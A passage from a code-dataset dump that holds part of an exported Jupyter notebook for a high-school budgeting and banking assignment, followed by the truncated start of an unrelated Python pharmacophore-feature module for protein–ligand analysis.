display(Markdown(\"Your answer contains invalid inputs or operations.\"))\n\ndisplay(Markdown(\"<h2 align='center'>Emma's March Transactions</h2>\"))\n\ndisplay(q_emma_mar)\n\n**Write your calculations below.**\n* Valid inputs: Numbers and decimals.\n* Valid operations: `+` for addition.\n\n**Example input:** `35 + 27.13 + 11.32`\n\nmar_text = w.Textarea( value='', placeholder=\"Enter your calculation here to determine Emma's net income for the month of March. Hint: which column do Emma's income come from?\", description='', disabled=False , layout=Layout(width='100%', height='30px') )\nmar_button = w.Button(button_style='info',description=\"Calculate\", layout=Layout(width='15%', height='30px'))\n\ndisplay(mar_text)\ndisplay(mar_button)\n\nmar_button.on_click( rerun_cell ) \n\n# Obtain user's input\n\nmar_input = mar_text.value\n\n# Define the valid character inputs for this exercise\n\nnumbers = '0123456789'\noperations = '+'\nothers = ' .'\nvalid_inputs = numbers + operations + others\n\n# Check if every character in user's string input is valid\n\nuser_input_valid = all( ch in valid_inputs for ch in mar_input)\n\n# Check for correctness of user's calculation\n\nif(mar_input != '' and user_input_valid == True):\n    \n    user_answer = eval(mar_input)\n    \n    display(Markdown(\"### You answered: \"))\n    display(Markdown(\"$\\$\"+str(user_answer)+\"$\"))\n    \n    if(user_answer == 922.26):\n        \n        mar_button.close()\n        mar_text.close()\n        \n        display(Markdown(\"Your calculation is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"Your calculation is incorrect. Try again.\"))     \n\nif(mar_input != '' and user_input_valid == False):\n    \n    display(Markdown(\"Your answer contains invalid inputs or operations.\"))\n\n**Question 3.** Categorize Emma\u2019s income as fixed, variable or both. Explain.\n\nemma3_text = w.Textarea( value='', placeholder='Write your answer here for Question 3.', description='', disabled=False , layout=Layout(width='100%', height='75px') )\nemma3_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n\ndisplay(emma3_text)\ndisplay(emma3_button)\n\nemma3_button.on_click( rerun_cell ) \n\nemma3_input = emma3_text.value\n\nif(emma3_input != ''):\n    \n    emma3_text.close()\n    emma3_button.close()\n    display(Markdown(\"### Your answer for Question 3:\"))\n    display(Markdown(emma3_input))\n\n<h2 align='center'>Interactive Exercise: Entering & Saving Spreadsheet Data</h2>\n\n**Question 4.** By analyzing the bank statements for the two months, complete the following tables for each month.\n\n$\\hspace{0.35cm}$**a.)** For each row in the table, fill the **Expense Category** column with the appropriate expense label. The valid choices are listed below - write the associated upper case letter for each expense. Expand the **Description** column to see the expense entry.\n\n**Categories: **\n\n$$\\text{(S) Savings, (U) Utilities, (C) Clothing, (E) Entertainment, (M) Miscellaneous, (P) Personal Care, (T) Transportation, (F) Food}$$\n\n# Note to developers:\n# 1. data in tables below obtained by converting relevant pages from Math20-3Unit1Key.pdf into .csv format.\n# 2. this part of the interactive focuses on categorizing expenses\n\n# Answer key for this lesson\n\nfeb_expenses_answer_key = ['S', 'T', 'F', 'U', 'F', 'F', 'F', 'C', 'E', 'S', 'F', 'F', 'E', 'M', 'M', 'F', 'F', 'M', 'M', 'C']\nfeb_fv_answer_key = ['V','V','V','V','F','F','F']\n\n# Setting up the dataframe \n\npd.options.display.max_rows = 50 \n\nentry_types = {'Debit ($)': str , 'Balance ($)' : str}\n\nfebruary_df = pd.read_csv('./data/februarydebits.csv',converters=entry_types)\nfebruary_df.set_index('Transaction #',inplace=True)\nfebruary_df['Debit ($)'] = february_df['Debit ($)'].replace(np.nan,\"0.00\")\nfebruary_df['Expense Category'] = february_df['Expense Category'].replace(np.nan,\"\")\n\noriginal_feb_df = february_df[['Date','Description','Debit ($)','Balance ($)']]\n\n# Display interactive grid 1: categorizing expenses\n\nq_february_df = q.show_grid( february_df , grid_options = grid_features )\n\n# Recording answers\n\nq4a_button = w.Button(button_style='info',description=\"Record Answers\", layout=Layout(width='15%', height='30px'))\n\ndef record_spreadsheet(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+1,IPython.notebook.get_selected_index()+3)'))\n\ndisplay(q_february_df)\ndisplay(q4a_button)\n\nq4a_button.on_click( record_spreadsheet )\n\n# Recover entries\n\nq4a_recover_button = w.Button(button_style='info',description=\"Reset all values\", layout=Layout(width='15%', height='30px'))\n\ndef recover_entries(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()-1,IPython.notebook.get_selected_index()+0)'))\n    \ndisplay(q4a_recover_button)\n\nq4a_recover_button.on_click( recover_entries )\n\n# Obtain the changed dataframe\n\nstudent_feb_df = q_february_df.get_changed_df()\n\n# Check answers\n\nanswer_list = ['S','F','C','E','T','U','M']\n\nanswers_valid = check_answers(student_feb_df['Expense Category'],answer_list)\n\nif(answers_valid == 0):\n    \n    display(Markdown(\"Some of your inputs are invalid. Please enter inputs from the following list: S,U,C,E,M,P,T,F\"))\n\n\n# Group the dataframe according to student's expense categories once student's answers are correct\n\nif(answers_valid == 1):\n    \n    # Check if every entry matches the answer key\n    \n    student_answers = (student_feb_df['Expense Category'].values).tolist() \n    \n    if( feb_expenses_answer_key == student_answers):\n        \n        display(Markdown(\"Your selections are correct!\"))\n\n        q4a_button.close()\n        q4a_recover_button.close()\n        q_february_df.close()\n        \n        q4a_grid_features = { 'fullWidthRows': True,\n                          'syncColumnCellResize': True,\n                          'forceFitColumns': True,\n                          'rowHeight': 40,\n                          'enableColumnReorder': True,\n                          'enableTextSelectionOnCells': True,\n                          'editable': False,\n                          'filterable': False,\n                          'sortable': False,\n                          'highlightSelectedRow': True}\n        \n        student_q4a_df = q.show_grid( student_feb_df , grid_options = q4a_grid_features )\n        \n        display(student_q4a_df)\n        \n    else:\n        \n        display(Markdown(\"Some of your inputs are incorrect.\"))\n\n$\\hspace{0.35cm}$**b.)** Calculate the total of each expense category you used in (a). \n\n$\\hspace{3cm}$This is done for you. Proceed to exercise (c).\n\nq4b_df = pd.read_csv('./data/expensesum.csv')\nq4b_df.set_index(\"Expense Category\",inplace=True)\nq_q4b_df = q.show_grid( q4b_df , grid_options = grid_features ) \ndisplay(q_q4b_df)\n\n$\\hspace{0.35cm}$**c.)** For each category, determine whether it is **fixed** or **variable**. Enter F for fixed and V for variable.\n\n# Setting up the dataframe \n\nfixed_or_var_df = pd.read_csv('./data/fixedorvar.csv')\nfixed_or_var_df.set_index('Expense Category',inplace=True)\nfixed_or_var_df['Fixed or Variable'] = fixed_or_var_df['Fixed or Variable'].replace(np.nan,\"\")\n\nq_fixed_or_var_df = q.show_grid( fixed_or_var_df , grid_options = grid_features)\n\nq4c_button = w.Button(button_style='info',description=\"Record Answers\", layout=Layout(width='15%', height='30px'))\n\ndef record_spreadsheet(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+1,IPython.notebook.get_selected_index()+2)'))\n\ndisplay(q_fixed_or_var_df)\ndisplay(q4c_button)\n\nq4c_button.on_click( record_spreadsheet )\n\n# Obtain the changed dataframe\n\nq4c_df = q_fixed_or_var_df.get_changed_df()\n\n# Check answers\n\nq4c_answer_list = ['V','F','V','F','V','V','V','V']\nq4c_student_answer = (q4c_df['Fixed or Variable'].values).tolist()\n\ndef check_q4c(student_inputs):\n    \n    valid_inputs = 'VF'\n    \n    for entry in student_inputs:\n        \n        if(entry not in valid_inputs):\n            \n            display(Markdown(\"Please enter valid inputs only.\"))\n            \n            return False\n        \n        if(entry == ''):\n            \n            display(Markdown(\"Please fill all the entries in the spreadsheet above.\"))\n            \n            return False\n        \n    return True\n        \nif(check_q4c(q4c_student_answer) == True):\n    \n    if(q4c_student_answer == q4c_answer_list):\n        \n        display(Markdown(\"Your selections are correct!\"))\n        \n        q4c_grid_features = { 'fullWidthRows': True,\n                          'syncColumnCellResize': True,\n                          'forceFitColumns': True,\n                          'rowHeight': 40,\n                          'enableColumnReorder': True,\n                          'enableTextSelectionOnCells': True,\n                          'editable': False,\n                          'filterable': False,\n                          'sortable': False,\n                          'highlightSelectedRow': True}\n        \n        student_q4c_df = q.show_grid( q4c_df , grid_options = q4c_grid_features )\n        \n        q_fixed_or_var_df.close()\n        \n        display(student_q4c_df)\n        \n    else:\n        \n        display(Markdown(\"Some inputs are incorrect.\"))\n\n**Question 5.** Construct a **monthly** conservative budget skeleton for Emma based upon her February and March data. To do this, compare the data for February and March and use the _highest_ expense amount for each category.\n\n**Note: ** The **February Expense Data** and **March Expense Data** are given below.\n\nentry_types = {'February Totals ($)': str , 'March Totals ($)' : str}\n\ncomparison_df = pd.read_csv('./data/expensecomparison.csv',converters = entry_types)\ncomparison_df.set_index('Expense Categories',inplace=True)\ncomparison_df['Highest Expense Amount ($)'] = comparison_df['Highest Expense Amount ($)'].replace(np.nan,\"\")\n\ndel comparison_df['Transaction #']\n\nq_comparison_df = q.show_grid( comparison_df , grid_options = grid_features )\n\nexpense_button = w.Button(button_style='info',description=\"Record Answers\", layout=Layout(width='15%', height='30px'))\n\ndef record_spreadsheet(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+1,IPython.notebook.get_selected_index()+3)'))    \n    \ndisplay(q_comparison_df)\ndisplay(expense_button)\n\nexpense_button.on_click( record_spreadsheet )\n\n# Recover entries\n\nrecover_button = w.Button(button_style='info',description=\"Reset all values\", layout=Layout(width='15%', height='30px'))\n\ndef recover_entries(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()-1,IPython.notebook.get_selected_index()+0)'))\n    \ndisplay(recover_button)\n\nrecover_button.on_click( recover_entries )\n\n# Obtain changed dataframe\n\nstudent_comparison_df = q_comparison_df.get_changed_df()\n\n# Answers \n\ncorrect_answers = ['80.00', '73.50', '91.95', '30.15', '189.45', '233.64', '206.00', '116.53']\nstudent_answers = (student_comparison_df['Highest Expense Amount ($)'].values).tolist()\n\n# Function to check if every entry is a valid input\n\ndef check_floats(input_array):\n    \n    valid_inputs = '0123456789.'\n    \n    for answer in input_array:\n        \n        current_user_input = all( ch in valid_inputs for ch in answer)\n        \n        if(current_user_input == False):\n        \n            return False\n    \n    return True\n\n# Check if answer is correct\n\nif(check_floats(student_answers) == False):\n    \n    display(Markdown(\"Please enter decimal numbers only.\"))\n        \nelse:\n\n    if(student_answers == correct_answers):\n\n        display(Markdown(\"Your choices are correct!\"))\n\n        recover_button.close()\n        expense_button.close()\n        q_comparison_df.close()\n      \n        comparison_grid_features = { 'fullWidthRows': True,\n                                  'syncColumnCellResize': True,\n                                  'forceFitColumns': True,\n                                  'rowHeight': 40,\n                                  'enableColumnReorder': True,\n                                  'enableTextSelectionOnCells': True,\n                                  'editable': False,\n                                  'filterable': False,\n                                  'sortable': False,\n                                  'highlightSelectedRow': True}\n        \n        student_comparison_df = q.show_grid( student_comparison_df , grid_options = comparison_grid_features )\n        display(student_comparison_df)\n        \n    else:\n        \n        display(Markdown(\"Some of your entries are incorrect. Please fill them with the correct values. Make sure to write numbers in decimal form. Write 80.00 for 80, 206.00, etc.\"))\n\n**Question 6.** If there is excess money, where should Emma put it? If there is not enough income for expenses, suggest how Emma can cover her expenses or reduce her expenses.\n\nq6_text = w.Textarea( value='', placeholder='Write your answer here for Question 6.', description='', disabled=False , layout=Layout(width='100%', height='75px') )\nq6_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n\ndisplay(q6_text)\ndisplay(q6_button)\n\nq6_button.on_click( rerun_cell ) \n\nq6_input = q6_text.value\n\nif(q6_input != ''):\n    \n    q6_text.close()\n    q6_button.close()\n    display(Markdown(\"### Your answer for question 6:\"))\n    display(Markdown(q6_input))\n\n**Question 7.**\n\n$\\hspace{0.35cm}$**a.)** How much will Emma need to save each month to purchase a new base, in 5 months, that costs $\\$828.45$ (including GST)?\n\nq7a_text = w.Textarea( value='', placeholder='Write your answer here for Question 7.a.', description='', disabled=False , layout=Layout(width='100%', height='75px') )\nq7a_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n\ndisplay(q7a_text)\ndisplay(q7a_button)\n\nq7a_button.on_click( rerun_cell ) \n\nq7a_input = q7a_text.value\n\nif(q7a_input != ''):\n    \n    q7a_text.close()\n    q7a_button.close()\n    display(Markdown(\"### Your answer for question 7.a:\"))\n    display(Markdown(q7a_input))\n\n$\\hspace{0.35cm}$**b.)** Based upon her budget, will Emma be able to save enough? If not, modify her budget so that she can afford it. A new category has been added to show her savings for the bass.\n\n**Note:** Income and expenses should be balanced at this point.\n\nFrom the previous exercises, we saw that a conservative income for Emma was $\\$922.26$. In this exercise, we want to create a budget amount in such a way that the sum of each category is exactly $\\$922.26$.\n\n# Prepare dataframes for Emma's February & March Transactions\n\nex_7b_df = pd.read_csv('./data/exercise7b.csv')\nex_7b_df[['Budgeted Amount ($)']] = ex_7b_df[['Budgeted Amount ($)']].replace(np.nan,\"\")\nex_7b_df.set_index('Category',inplace=True)\n\nq_ex_7b = q.show_grid( ex_7b_df , grid_options = grid_features ) \n\ndisplay(Markdown(\"<h2 align='center'>Emma's Modified Conservative Budget</h2>\"))\n\ndisplay(q_ex_7b)\n\nex_7b_button = w.Button(button_style='info',description=\"Record Answers\", layout=Layout(width='15%', height='30px'))\n\ndef record_spreadsheet(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+1,IPython.notebook.get_selected_index()+3)'))    \n    \ndisplay(ex_7b_button)\n\nex_7b_button.on_click( record_spreadsheet )\n\n**Question 8.** Determine the percent of Emma\u2019s income on each category. \n\nTo calculate percentage of income for each category use the formula:\n\n$$\\text{Percent of Income} = \\frac{\\text{Amount Allotted for Expense}}{\\text{Budgeted Income}}\\times 100\\%$$\n\n**Note:** This part of the exercise is done for you and changes based on your inputs in exercise 7.b., the formula above is for your reference.\n\n# Set up student inputs as a list\n\nex_7b_student_df = q_ex_7b.get_changed_df()\nstudent_budget_input = ex_7b_student_df['Budgeted Amount ($)']\nstudent_budget_col = (student_budget_input.values).tolist()\n\n# Check if every entry is valid \n\ndef check_ex_7b(student_inputs):\n\n    valid_inputs = '0123456789. '\n\n    for entry in student_inputs:\n\n        for ch in entry:\n            \n            if(ch not in valid_inputs):\n                \n                display(Markdown(\"Please enter valid inputs only.\"))\n\n                return False\n\n    if(entry == ''):\n\n        display(Markdown(\"Please fill all the entries in the spreadsheet above.\"))\n\n        return False\n\n    return True\n\n# Check if student's budget matches the total income\n\nvalid_input = check_ex_7b(student_budget_col)\n\nif(valid_input == True):\n    \n    # Convert every entry to float and get the sum\n    \n    budget_sum = 0\n    \n    for entry in student_budget_col:\n        \n        current_entry = eval(entry)\n        budget_sum += current_entry\n        \n    # If the budget sum matches, then create the percentages chart \n    \n    percentages_col = []\n    \n    if(budget_sum != 922.26): \n        \n        display(Markdown(\"Your budget proposal does not total $922.26. Please try again.\"))\n        \n    else:\n        \n        for entry in student_budget_col:\n            \n            current_percent = round( eval(entry)/budget_sum , 4)\n            percentages_col.append( round(current_percent*100,4) )\n            \n        indices = ['Savings (RESP)','Transportation','Utilities','Food','Clothing','Entertainment','Miscellaneous','Personal Care','Savings (Bass)']\n            \n        percentage_df = pd.DataFrame({'Percentage (%): ': percentages_col },index=indices)\n        updated_ex_7b_student_df = pd.concat( [ex_7b_student_df,percentage_df] , axis = 1 )\n        \n        ex_7b_features = { 'fullWidthRows': True,\n                          'syncColumnCellResize': True,\n                          'forceFitColumns': True,\n                          'rowHeight': 40,\n                          'enableColumnReorder': True,\n                          'enableTextSelectionOnCells': True,\n                          'editable': False,\n                          'filterable': False,\n                          'sortable': False,\n                          'highlightSelectedRow': True}\n        \n        q_ex_7b_updated = q.show_grid( updated_ex_7b_student_df , grid_options = ex_7b_features )\n        \n        display(Markdown(\"<h2 align='center'>Emma's Modified Budget Percentage Breakdown</h2>\"))\n        \n        display(q_ex_7b_updated)\n\n**Question 9.** Are there any categories that Emma is far above or far below the spending guidelines? How does being a high school student affect Emma\u2019s consideration of the spending guidelines?\n\n<img src=\"./images/spending_guidelines.jpg\" alt=\"drawing\" width=\"400px\"/>\n\n\nq9_text = w.Textarea( value='', placeholder='Write your answer here for Question 9', description='', disabled=False , layout=Layout(width='100%', height='75px') )\nq9_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n\ndisplay(q9_text)\ndisplay(q9_button)\n\nq9_button.on_click( rerun_cell ) \n\nq9_input = q9_text.value\n\nif(q9_input != ''):\n    \n    q9_text.close()\n    q9_button.close()\n    display(Markdown(\"### Your answer for question 9:\"))\n    display(Markdown(q9_input))\n\n--- \n<h1 align='center'>Student Interactive Section</h1>\n\nIn this section, you will enter your own expense categories and see how your expense percentage breakdown compares to the spending guideline above.\n\n# Create button and dropdown widget\n\nnumber_of_cat = 13\ndropdown_options = [ str(i+1) for i in range(number_of_cat) ] \ndropdown_widget = w.Dropdown( options = dropdown_options , value = '3' , description = 'Categories' , disabled=False )\n\ncategories_button = w.Button(button_style='info',description=\"Save\", layout=Layout(width='15%', height='30px'))\n\n# Display widgets\n\ndisplay(dropdown_widget)\ndisplay(categories_button)\n\ncategories_button.on_click( rerun_cell ) \n\n# Create dataframe\n\ndf_num_rows = int(dropdown_widget.value)\nempty_list = [ '' for i in range(df_num_rows) ] \ncategory_list = [ i+1 for i in range(df_num_rows) ] \n\n# Set up data input for dataframe\n\ndf_dict = {'Category #': category_list, 'Budget ($)': empty_list , 'Expense Category': empty_list}\n\nstudent_df = pd.DataFrame(data = df_dict)\nstudent_df.set_index('Category #',inplace=True)\n\n# Reorder column labels\n\nstudent_df = student_df[['Expense Category','Budget ($)']]\n\n# Set up & display as Qgrid\n\nq_student_df = q.show_grid( student_df , grid_options = grid_features )\ndisplay(q_student_df)\n\n# Create & display save entries widget button\n\nsave_student_entries_button = w.Button(button_style='info',description=\"Plot Pie Chart\", layout=Layout(width='15%', height='30px'))\ndisplay(save_student_entries_button)\n\nsave_student_entries_button.on_click( rerun_cell ) \n\n# Convert qgrid to dataframe\n\nstudent_updated_df = q_student_df.get_changed_df()\n\nstudent_budget_col = student_updated_df['Budget ($)'].values.tolist()\nstudent_labels_col = student_updated_df['Expense Category'].values.tolist()\n\n# Check if a number if float\n\ndef isfloat(value):\n    \n    try:\n        \n        float(value)\n        \n        return True\n    \n    except ValueError:\n        \n        return False\n\n# Function: Check for validity of budget column entries\n# Input: Student's budget column values\n# Output: Boolean, false if one of the entries is invalid\n\ndef check_budget_column(input_list):\n    \n    valid_inputs = '0123456789.'\n    \n    # Check if inputs are valid\n    \n    for entry in input_list:\n        \n        if( isfloat(entry) == False):\n            \n            return False\n    \n    return True\n\n# Function: Calculate the percentage of each expense category\n# Input: Student expense category lists and student budget column values\n# Output: Percentages column \n\ndef get_percentages(input_list):\n    \n    total = 0\n    percentage_col = []\n    \n    # Obtain total\n    \n    for entry in input_list:\n        \n        entry = eval(entry)        \n        total += entry\n        \n    # Obtain percentages\n    \n    for entry in input_list:\n        \n        entry = eval(entry)\n        current_percentage = entry/total\n        percentage_col.append( round(current_percentage*100,2) )\n    \n    return percentage_col\n\n# If student input is valid, create a pie chart plot\n\ncolors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral','darkseagreen','lightcyan','lightpink','coral','tan','slateblue','azure','tomato','lawngreen']\n\nif(check_budget_column(student_budget_col) == True):\n    \n    student_values = get_percentages(student_budget_col)\n    labels = student_labels_col\n    \n    plt.figure(figsize=(20,10))\n    plt.rcParams['font.size'] = 20\n    plt.title('Your Expense Category Percentage Breakdown',fontsize=25)\n    plt.pie(student_values, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True, startangle=35)\n    plt.axis('equal') \n    plt.show()\n    \nelse:\n    \n    display(Markdown(\"Please enter decimal numbers only for the budget column\"))\n\n[![Callysto.ca License](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-bottom.jpg?raw=true)](https://github.com/callysto/curriculum-notebooks/blob/master/LICENSE.md)", "meta": {"hexsha": "9a478187cff16456c8193da8a6ed49a4f069c72a", "size": 45500, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/BudgetAndBankingAssignment/budget-and-banking-assignment.py", "max_stars_repo_name": "BryceHaley/curriculum-jbook", "max_stars_repo_head_hexsha": "d1246799ddfe62b0cf5c389394a18c2904383437", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-18T18:19:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T18:19:40.000Z", "max_issues_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/BudgetAndBankingAssignment/budget-and-banking-assignment.py", "max_issues_repo_name": "callysto/curriculum-jbook", "max_issues_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/curriculum-notebooks/Mathematics/BudgetAndBankingAssignment/budget-and-banking-assignment.py", "max_forks_repo_name": "callysto/curriculum-jbook", "max_forks_repo_head_hexsha": "ffb685901e266b0ae91d1250bf63e05a87c456d9", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.6867816092, "max_line_length": 509, "alphanum_fraction": 0.6713626374, "include": true, "reason": "import numpy", "num_tokens": 11017, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.16667540675766923, "lm_q1q2_score": 0.08073424757218048}}
{"text": "#!/usr/bin/env python\nimport numpy as np\nfrom openbabel import pybel\n# import time\nfrom rdkit import Chem\nfrom rdkit.Chem import Draw\nfrom pdbtools.pdbtools import pdbtools\n\n\ndef cal_angle_from_points(dist_lp, dist_dh, dist_ah):\n    cos_theta = (np.power(dist_dh, 2) + np.power(dist_ah, 2) -\n                 np.power(dist_lp, 2)) / (2 * dist_dh * dist_ah)\n    theta = np.arccos(cos_theta)\n\n    return theta\n\n\ndef cal_angle_from_vectors(A, B):\n    cos_theta = np.dot(A, B)\n    theta = np.arccos(cos_theta)\n    return theta\n\n\nclass Pharmacophore(object):\n    \"\"\"\n    pharmacophore\n    \"\"\"\n    feature_type_dict = {\n        'HBD': 0,\n        'HBA': 1,\n        'Anion': 2,\n        'Cation': 3,\n        'Hydrophobic': 4,\n        'Aromatic': 5\n    }\n    feature_type_list = ['HBD', 'HBA', 'Anion',\n                         'Cation', 'Hydrophobic', 'Aromatic']\n\n    complementary_feature = {\n        'HBD': [['HBA', 3.4]],\n        'HBA': [['HBD', 3.4]],\n        'Anion': [['Cation', 5.0]],\n        'Cation': [['Anion', 5.0], ['Aromatic', 5.0]],\n        'Hydrophobic': [['Hydrophobic', 6.5]],\n        'Aromatic': [['Cation', 5.0], ['Aromatic', 6.0]],\n        'MBA': [['Metal', 3.1]],\n        'Metal': [['MBA', 3.1]],\n    }\n\n    num_feature_type = len(feature_type_list)\n    SMARTS_pattern_dict = {\n        'HBD': {\n            0: '[N&H2&v3]',\n            1: '[N&H1&v3]',\n            2: '[N&!H0&+1&v4]',\n            3: '[n&H1&+0]',\n            4: '[n&H1&+1]',\n            5: '[O;H1;+0]',\n            6: '[S;H1;+0]',\n            7: '[O;H2;+0]',\n        },\n        'HBA': {\n            0: '[$([O,S;-])]',\n            1: '[$([O,S;H0;v2])]',\n            2: '[$([O,S;H1;v2]-[!$(*=[O,N,P,S])])]',\n            3: '[$([N;v3;!$(N-*=!@[O,N,P,S])])]',\n            4: '[$([nH0,o,s;+0])]',\n            5: '[$([N;H0]#[C&v4])]',\n            6: '[N&v3;H0;$(Nc)]',\n            7: '[F;$(F-[#6])]',\n            8: '[O;H2;+0]',\n\n        },\n        'Anion': {\n            0: '[-]',\n            1: '[SX4](=O)(=O)(-[O;H1,H0&-1])',\n            2: '[PX4](=O)(-[O;H1,H0&-1])([!O])([!O])',\n            3: '[PX4](=O)(-[O;H1,H0&-1])(-[O;H1,H0&-1])',\n            4: '[CX3,SX3](=[O,S,P])-[O;H1,H0&-1]',\n        },\n        'Cation': {\n            0: '[+]',\n            1: '[NX3]=[CX3]([NX3])[!N]',\n            2: 'NC(=N)N',\n            3: 'c1ncnc1'\n        },\n        'Hydrophobic': {\n            0: '[D3,D4;#6;+0;!$([#6][#7,#8,#9])]',\n            1: '[R0;D2;#6;+0;!$([#6][#7,#8,#9])]',\n            2: '[CX4](F)(F)(F)',\n            3: '[#6;R]',\n            4: '[#17,#35,#53]',\n        },\n        'Aromatic': {\n            0: 'a1:a:a:a:1',\n            1: 'a1:a:a:a:a:1',\n            2: 'a1:a:a:a:a:a:1',\n            3: 'a1:a:a:a:a:a:a:1',\n            4: 'a1:a:a:a:a:a:a:a:1',\n        }\n    }\n\n    metal_name_dict = {\n        'MG': 0,\n        'K': 1,\n        'MN': 2,\n        'FE': 3,\n        'ZN': 4,\n    }\n    metal_type_list = ['MG', 'K', 'MN', 'FE', 'ZN']\n    metal_atomic_name_dict = {12: 'MG', 19: 'K', 25: 'MN', 26: 'FE', 30: 'ZN'}\n    metal_bind_name_dict = {\n        7: 0,\n        8: 1,\n        16: 2,\n    }\n    metal_interaction_cutoff = {\n        0: {2: 2.6, 3: 2.5, 4: 2.56},\n        1: {0: 3.1, 1: 2.4, 2: 2.7, 3: 2.5, 4: 2.8},\n        2: {4: 2.6},\n    }\n\n    weight_pis = {\n        'HBD:HBA': 0.129,\n        'HBA:HBD': 0.129,\n        'Anion:Cation': 0.31,\n        'Cation:Anion': 0.31,\n        'Cation:Aromatic': 0.039,\n        'Hydrophobic:Hydrophobic': 0.00585,\n        'Aromatic:Cation': 0.039,\n        'Aromatic:Aromatic': 0.064,\n        'MBA:Metal': 1.0\n    }\n    bias_pis = 4.0\n    cutoff = 6.5\n    use_pinfo = False\n\n    def __init__(self, params=None):\n        \"\"\"\n            initialize Pharmacophore\n            set parameters\n        \"\"\"\n\n        self.interaction_feature = list(self.weight_pis.keys())\n        if 'weight_pis' in params:\n            self.weight_pis = params['weight_pis']\n        if 'bias_pis' in params:\n            self.bias_pis = params['bias_pis']\n        if 'cutoff' in params:\n            self.cutoff = params['cutoff']\n        cmin = -99999.999\n        cmax = 99999.999\n\n        use_box = False\n        if 'dock_config' in params:\n            box_center, box_size = self.read_dock_config(params['dock_config'])\n            box_min = box_center - box_size/2\n            box_max = box_center + box_size/2\n            cmin = box_min - self.cutoff\n            cmax = box_max + self.cutoff\n            use_box = True\n\n        if 'ligand_file' in params:\n            ligand_file = params['ligand_file']\n            ligand_model_dict = pdbtools.read_coor_pdb(\n                ligand_file, exclude_Hs=True)\n            ligand_dict = ligand_model_dict[1]\n            ligand_coor = list(ligand_dict.values())[0]\n            cmin, cmax = pdbtools.cal_ligand_size(ligand_coor)\n            cmin = cmin - self.cutoff\n            cmax = cmax + self.cutoff\n            use_box = True\n\n        if 'include_hydrophobic' in params:\n            include_hydrophobic = params['include_hydrophobic']\n\n        piscore_receptor = params['piscore_receptor']\n        pf_receptor = params['pf_receptor']\n\n        if piscore_receptor is not None:\n            ms = pybel.readfile('pdb', piscore_receptor)\n            m_protein = list(ms)[0]\n            receptor_bond_dict = self.get_bond_info(m_protein)\n            PF_dict_protein = self.find_PF(m_protein, receptor_bond_dict,\n                                           is_protein=True)\n            PF_coor_protein = self.find_PF_coor(m_protein, PF_dict_protein,\n                                receptor_bond_dict, is_protein=True)\n            metal_coor = self.find_metal_ion(m_protein, is_protein=True)\n            PF_coor_protein['Metal'] = metal_coor\n            if use_box:\n                self.PF_coor_protein = self.box_protein(\n                    PF_coor_protein, cmin, cmax)\n            else:\n                self.PF_coor_protein = PF_coor_protein\n            if pf_receptor is not None:\n                PF_coor_protein_dict = {0: self.PF_coor_protein}\n                self.write_PF(PF_coor_protein_dict,\n                              pf_receptor, is_protein=True)\n        elif pf_receptor is not None:\n            self.PF_coor_protein = self.read_PF(pf_receptor,\n                                                is_protein=True)[0]\n\n        pinfo_ligand = params['pinfo_ligand']\n        pf_receptor_info = params['pf_receptor_info']\n        if pinfo_ligand is not None:\n            self.use_pinfo = True\n            template_dict = self.find_template(self.PF_coor_protein, pinfo_ligand,\n                                               include_hydrophobic=include_hydrophobic)\n            self.PF_coor_info = self.select_template_protein(self.PF_coor_protein,\n                                                             template_dict, cut_num=1)\n            if pf_receptor_info is not None:\n                PF_coor_info_dict = {0: self.PF_coor_info}\n                self.write_PF(PF_coor_info_dict, pf_receptor_info,\n                              is_protein=True)\n        elif pf_receptor_info is not None:\n            self.use_pinfo = True\n            self.PF_coor_info = self.read_PF(\n                pf_receptor_info, is_protein=True)[0]\n\n    def get_bond_info(self, m):\n        \"\"\"\n            find neighbor atoms in molecule\n            input:\n                m: pybel molecule object\n            output:\n                bond_dict: neighbor atom dictionary\n        \"\"\"\n        bond_dict = dict()\n        mol = m.OBMol\n\n        for i in range(mol.NumBonds()):\n            bb = mol.GetBondById(i)\n            if bb is None:\n                continue\n            begin = bb.GetBeginAtomIdx()\n            end = bb.GetEndAtomIdx()\n            if begin not in bond_dict:\n                bond_dict[begin] = [end]\n            else:\n                bond_dict[begin] += [end]\n            if end not in bond_dict:\n                bond_dict[end] = [begin]\n            else:\n                bond_dict[end] += [begin]\n        return bond_dict\n\n    def find_PF(self, m, bond_dict, is_protein=False):\n        \"\"\"\n            Find pharmacophoric features\n            input:\n                m: pybel molecule object\n                is_protein: protein or not\n            output: PF dictionary\n        \"\"\"\n        PF_dict = dict()\n        atoms = m.atoms\n#        bond_dict = self.get_bond_info(m)\n\n        # search 